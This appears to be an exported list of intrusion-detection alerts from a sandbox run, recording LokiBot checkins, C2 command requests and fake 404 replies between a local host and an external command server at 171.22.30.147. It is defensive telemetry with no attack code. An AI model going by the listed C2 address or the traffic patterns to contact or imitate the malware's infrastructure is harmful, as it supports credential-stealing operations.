SID:	2025381
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750012802024313 01/05/23-08:53:43.190304
SID:	2024313
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749833802024313 01/05/23-08:52:50.090304
SID:	2024313
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749951802024318 01/05/23-08:53:24.927407
SID:	2024318
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749891802021641 01/05/23-08:53:07.205477
SID:	2021641
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750047802021641 01/05/23-08:53:54.007519
SID:	2021641
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749796802024313 01/05/23-08:52:39.986568
SID:	2024313
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749773802024313 01/05/23-08:52:31.909319
SID:	2024313
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749924802025381 01/05/23-08:53:17.587003
SID:	2025381
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749746802025381 01/05/23-08:52:24.299560
SID:	2025381
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749833802024318 01/05/23-08:52:50.090304
SID:	2024318
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500682025483 01/05/23-08:53:59.729426
SID:	2025483
Source Port:	80
Destination Port:	50068
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749887802025381 01/05/23-08:53:06.117016
SID:	2025381
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749974802024318 01/05/23-08:53:33.106432
SID:	2024318
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499792025483 01/05/23-08:53:34.509731
SID:	2025483
Source Port:	80
Destination Port:	49979
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749773802024318 01/05/23-08:52:31.909319
SID:	2024318
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498422025483 01/05/23-08:52:54.095459
SID:	2025483
Source Port:	80
Destination Port:	49842
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749951802024313 01/05/23-08:53:24.927407
SID:	2024313
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749993802825766 01/05/23-08:53:38.145026
SID:	2825766
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749974802024313 01/05/23-08:53:33.106432
SID:	2024313
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749796802024318 01/05/23-08:52:39.986568
SID:	2024318
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749994802024313 01/05/23-08:53:38.408241
SID:	2024313
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749990802825766 01/05/23-08:53:37.383838
SID:	2825766
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749852802825766 01/05/23-08:52:56.705137
SID:	2825766
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749723802025381 01/05/23-08:52:17.811814
SID:	2025381
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500182025483 01/05/23-08:53:45.088343
SID:	2025483
Source Port:	80
Destination Port:	50018
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749994802024318 01/05/23-08:53:38.408241
SID:	2024318
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749868802021641 01/05/23-08:53:01.029018
SID:	2021641
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749908802024313 01/05/23-08:53:13.214132
SID:	2024313
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749704802024318 01/05/23-08:52:08.934535
SID:	2024318
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750032802024318 01/05/23-08:53:49.938594
SID:	2024318
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749908802024318 01/05/23-08:53:13.214132
SID:	2024318
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750081802024318 01/05/23-08:54:03.233046
SID:	2024318
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750005802825766 01/05/23-08:53:41.297546
SID:	2825766
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750032802024313 01/05/23-08:53:49.938594
SID:	2024313
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749730802021641 01/05/23-08:52:19.853027
SID:	2021641
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749704802024313 01/05/23-08:52:08.934535
SID:	2024313
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749747802024318 01/05/23-08:52:24.577114
SID:	2024318
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750044802021641 01/05/23-08:53:53.227481
SID:	2021641
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750081802024313 01/05/23-08:54:03.233046
SID:	2024313
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750015802024318 01/05/23-08:53:43.993137
SID:	2024318
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749925802024318 01/05/23-08:53:17.874226
SID:	2024318
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749865802021641 01/05/23-08:53:00.234414
SID:	2021641
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749888802024318 01/05/23-08:53:06.392338
SID:	2024318
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749927802025381 01/05/23-08:53:18.426652
SID:	2025381
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749772802025381 01/05/23-08:52:31.644906
SID:	2025381
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497932025483 01/05/23-08:52:39.250846
SID:	2025483
Source Port:	80
Destination Port:	49793
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749950802025381 01/05/23-08:53:24.624259
SID:	2025381
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750015802024313 01/05/23-08:53:43.993137
SID:	2024313
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749888802024313 01/05/23-08:53:06.392338
SID:	2024313
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749700802025381 01/05/23-08:52:07.351938
SID:	2025381
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749971802024313 01/05/23-08:53:32.299331
SID:	2024313
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749977802024313 01/05/23-08:53:33.899852
SID:	2024313
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749921802825766 01/05/23-08:53:16.794242
SID:	2825766
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499632025483 01/05/23-08:53:30.225111
SID:	2025483
Source Port:	80
Destination Port:	49963
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498702025483 01/05/23-08:53:01.650644
SID:	2025483
Source Port:	80
Destination Port:	49870
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749971802024318 01/05/23-08:53:32.299331
SID:	2024318
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500802025483 01/05/23-08:54:02.938266
SID:	2025483
Source Port:	80
Destination Port:	50080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749743802825766 01/05/23-08:52:23.467755
SID:	2825766
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750077802825766 01/05/23-08:54:02.067623
SID:	2825766
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749832802825766 01/05/23-08:52:49.809310
SID:	2825766
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500022025483 01/05/23-08:53:40.584610
SID:	2025483
Source Port:	80
Destination Port:	50002
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499292025483 01/05/23-08:53:19.030233
SID:	2025483
Source Port:	80
Destination Port:	49929
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749937802021641 01/05/23-08:53:21.090422
SID:	2021641
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750064802021641 01/05/23-08:53:58.597698
SID:	2021641
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750034802025381 01/05/23-08:53:50.478539
SID:	2025381
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749848802021641 01/05/23-08:52:55.640788
SID:	2021641
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749759802021641 01/05/23-08:52:28.024665
SID:	2021641
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750008802825766 01/05/23-08:53:42.094852
SID:	2825766
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749819802024318 01/05/23-08:52:46.293306
SID:	2024318
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749819802024313 01/05/23-08:52:46.293306
SID:	2024313
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750054802825766 01/05/23-08:53:55.890469
SID:	2825766
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749779802021641 01/05/23-08:52:35.235559
SID:	2021641
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498642025483 01/05/23-08:53:00.058616
SID:	2025483
Source Port:	80
Destination Port:	49864
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497062025483 01/05/23-08:52:09.863839
SID:	2025483
Source Port:	80
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749901802025381 01/05/23-08:53:11.357263
SID:	2025381
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500462025483 01/05/23-08:53:53.824439
SID:	2025483
Source Port:	80
Destination Port:	50046
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750080802025381 01/05/23-08:54:02.852694
SID:	2025381
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749997802024313 01/05/23-08:53:39.208772
SID:	2024313
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749729802025381 01/05/23-08:52:19.554519
SID:	2025381
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749726802025381 01/05/23-08:52:18.702884
SID:	2025381
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749997802024318 01/05/23-08:53:39.208772
SID:	2024318
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749858802825766 01/05/23-08:52:58.341182
SID:	2825766
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749947802825766 01/05/23-08:53:23.814636
SID:	2825766
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500302025483 01/05/23-08:53:49.463564
SID:	2025483
Source Port:	80
Destination Port:	50030
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749815802025381 01/05/23-08:52:45.213789
SID:	2025381
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749766802825766 01/05/23-08:52:30.012463
SID:	2825766
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749855802825766 01/05/23-08:52:57.514506
SID:	2825766
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749904802025381 01/05/23-08:53:12.139251
SID:	2025381
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499572025483 01/05/23-08:53:26.847761
SID:	2025483
Source Port:	80
Destination Port:	49957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749944802825766 01/05/23-08:53:23.021157
SID:	2825766
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749907802025381 01/05/23-08:53:12.956728
SID:	2025381
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499352025483 01/05/23-08:53:20.648559
SID:	2025483
Source Port:	80
Destination Port:	49935
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749902802024313 01/05/23-08:53:11.610501
SID:	2024313
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749813802024313 01/05/23-08:52:44.686594
SID:	2024313
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749816802024313 01/05/23-08:52:45.483412
SID:	2024313
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750051802825766 01/05/23-08:53:55.100340
SID:	2825766
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749818802025381 01/05/23-08:52:46.013246
SID:	2025381
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749905802024318 01/05/23-08:53:12.409052
SID:	2024318
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750035802024318 01/05/23-08:53:50.741604
SID:	2024318
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749769802825766 01/05/23-08:52:30.825016
SID:	2825766
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

